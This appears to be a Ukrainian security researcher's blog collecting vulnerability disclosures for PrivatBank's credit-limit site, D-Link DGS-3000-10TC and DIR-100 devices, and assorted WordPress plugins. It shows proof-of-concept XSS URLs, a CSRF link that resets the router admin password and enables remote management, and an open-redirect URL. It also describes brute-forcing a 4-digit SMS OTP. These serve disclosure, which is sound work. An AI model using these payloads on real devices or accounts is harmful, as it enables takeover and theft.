Websecurity - Веб безпека

У серпні, 31.08.2013, я знайшов Cross-Site Scripting, Insufficient Anti-automation та інші уразливості на сайтах http://limit.pb.ua та http://limit.privatbank.ua. Це два домени одного сайту, тому всі уразливості однакові на них обох (зараз limit.pb.ua перенаправляє на limit.privatbank.ua). Тоді у вересні вислав всі ці уразливості банку.

Якщо всі дірки ПриватБанк підтвердив і взяв в роботу, то лише одну найбільш важливу дірку (з витоком даних клієнтів) ПБ виправив через два місяці та пізніше виплатив мені премію. Про інші дірки, як згадана в попередньому пості XSS і ця Insufficient Anti-automation, жодної відповіді за чотири роки я не отримав. Хоча нагадував їм про попередні уразливості в 2014-2016 роках. Торік я виявив, що ПриватБанк вже виправив всі інші уразливості (але без жодних премій мені) шляхом повної переробки сайту.

Стосовно ПриватБанка я вже писав про уразливості на acsk.privatbank.ua та уразливості на limit.privatbank.ua.

Insufficient Anti-automation:

На сторінці http://limit.pb.ua/verify (http://limit.privatbank.ua/verify) немає захисту від автоматизованих атак. Що дозволяє спамити смсками.

Insufficient Anti-automation:

На сторінці http://limit.pb.ua/verifySMS (http://limit.privatbank.ua/verifySMS) немає захисту від автоматизованих атак. Що дозволяє підбирати OTP висланий в смсці.

OTP код всього 4 символи, що всього 10000 комбінацій - це легко підбирається. І немає захисту від підбору OTP. Тому можна легко отримати доступ до акаунту користувача без наявності мобільного телефону жертви, щоб дізнатися кредитний ліміт і змінити його.

Дані уразливості та деякі інші не були виправлені в 2013 році. Але вже в 2016 році всі вони були виправлені. Проте я знайшов нові уразливості на limit.privatbank.ua, про які повідомив ПБ наприкінці минулого року і вони виправили їх.

28.07.2017

Сьогодні я знайшов Cross-Site Scripting та Content Spoofing уразливості в D-Link DGS-3000-10TC. Це Gigabit Ethernet Switch.

Раніше я писав про уразливості в пристроях даної компанії, зокрема в D-Link DAP-1360 та D-Link DGS-3200-16.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам пристрою.

16.09.2017

Cross-Site Scripting (WASC-08):

http://site/html/errorpage.html?%22;alert(document.cookie);//

Cross-Site Scripting (WASC-08):

http://site/html/errorpage.html

Атака через заголовок “Referer: javascript:alert(document.cookie)”.

Content Spoofing (WASC-12):

http://site/html/errorpage.html?You%20are%20hacked!

Можлива Text Injection атака.

Уразлива версія D-Link DGS-3000-10TC, Firmware Version 2.00.006. Дана модель з іншими прошивками також повинна бути вразливою.

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Content Text Slider, NextGEN Gallery, Simple Ads Manager, Symposium Pro Social і темі Stanford. Для котрих з’явилися експлоіти.

• WordPress Content Text Slider On Post 6.8 Cross Site Scripting (деталі)
• WordPress NextGEN Gallery 2.1.10 Shell Upload (деталі)
• WordPress Simple Ads Manager 2.9.4.116 SQL Injection (деталі)
• WordPress Stanford Theme Cross Site Scripting (деталі)
• WordPress Symposium Pro Social 15.12 XSS / CSRF (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

В даній добірці уразливості в веб додатках:

• HP Systems Insight Manager (SIM) on Linux and Windows, Multiple Remote Vulnerabilities (деталі)
• Nakid-CMS CSRF, Persistent XSS & LFI (деталі)
• Concrete5 <= 5.7.4 (Access.php) SQL Injection Vulnerability (деталі)
• Concrete5 <= 5.7.3.1 Multiple Reflected Cross-Site Scripting Vulnerabilities (деталі)
• XSS vulnerability in Elasticsearch because of weak CORS policy (деталі)

В даній добірці уразливості в веб додатках:

• DoS in ZyXEL SBG-3300 Security Gateway (деталі)
• XSS vulnerability Adobe Connect 9.3 (деталі)
• ZENWorks Mobile Management Cross-Site Scripting (деталі)
• ZCMS SQL Injection & Persistent XSS (деталі)
• Stored Server XSS in ZyXEL SBG-3300 Security Gateway (деталі)

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Twitter, User Role, Google Adsense, WooCommerce, Gallery Master. Для котрих з’явилися експлоіти.

• WordPress Twitter 2.37 Cross Site Scripting (деталі)
• WordPress User Role 1.4.1 Cross Site Scripting (деталі)
• WordPress Google Adsense 1.29 Cross Site Scripting (деталі)
• WordPress WooCommerce 2.4.12 PHP Code Injection (деталі)
• WordPress Gallery Master 1.0.22 Cross Site Scripting (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

28.10.2015

У січні, 29.01.2015, я виявив Cross-Site Request Forgery та URL Redirector Abuse уразливості в D-Link DIR-100. Це друга частина дірок в router DIR-100.

Раніше я писав про уразливості в пристроях даної компанії, зокрема в D-Link DIR-100 та D-Link DCS-2103.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам пристрою.

29.07.2017

Cross-Site Request Forgery (WASC-09):

Зміна паролю адміна:

http://site/Tools/tools_admin.xgi?SET/sys/account/superUserName=admin&SET/sys/account/superUserPassword=admin

Увімкнення Remote Management:

http://site/Tools/tools_admin.xgi?SET/security/firewall/httpAllow=1&SET/security/firewall/httpRemotePort=80

CSRF атака для зміни паролю адміна та увімкнення Remote Management:

http://site/Tools/tools_admin.xgi?SET/sys/account/superUserName=admin&SET/sys/account/superUserPassword=admin&SET/security/firewall/httpAllow=1&SET/security/firewall/httpRemotePort=80

URL Redirector Abuse (WASC-38):

http://site/Tools/vs.htm?location=http://www.google.com

Це Persisted Redirector атака. Після вказанная адреси в параметрі location, вона зберігаться і в подальшому можна редиректити лише про заході на сторінку http://site/Tools/vs.htm.

Уразлива версія D-Link DIR-100, Firmware v1.01. Дана модель з іншими прошивками також повинна бути вразливою.

В даній добірці уразливості в веб додатках:

• Glype proxy privacy settings can be disabled via CSRF (деталі)
• zendframework security update (деталі)
• ManageEngine EventLog Analyzer V:10.0 CSRF Vulnerability (деталі)
• CRUCMS Crucial Networking - SQL Injection Vulnerability (деталі)
• Glype proxy local address filter bypass (деталі)

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Portfolio, Quotes And Tips, Relevant Related Posts, Sender, Social Essentials Social Stats And Sharing Buttons. Для котрих з’явилися експлоіти.

• WordPress Portfolio 2.27 Cross Site Scripting (деталі)
• WordPress Quotes And Tips 1.19 Cross Site Scripting (деталі)
• WordPress Relevant Related Posts 1.0.7 Cross Site Scripting (деталі)
• WordPress Sender 0.7 Cross-Site Scripting (деталі)
• WordPress Social Essentials Social Stats And Sharing Buttons 1.3.1 XSS (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

В даній добірці уразливості в веб додатках:

• Multiple Vulnerabilities with Aztech Modem Routers (деталі)
• Ektron CMS 9.10 SP1 - XSS Vulnerability (деталі)
• Various critical vulnerabilities in SysAid Help Desk (RCE, file download, DoS, etc) (деталі)
• IBM Watson (Cognea) - XSS and Redirect Vulnerabilities (деталі)
• Glype proxy cookie jar path traversal allows code execution (деталі)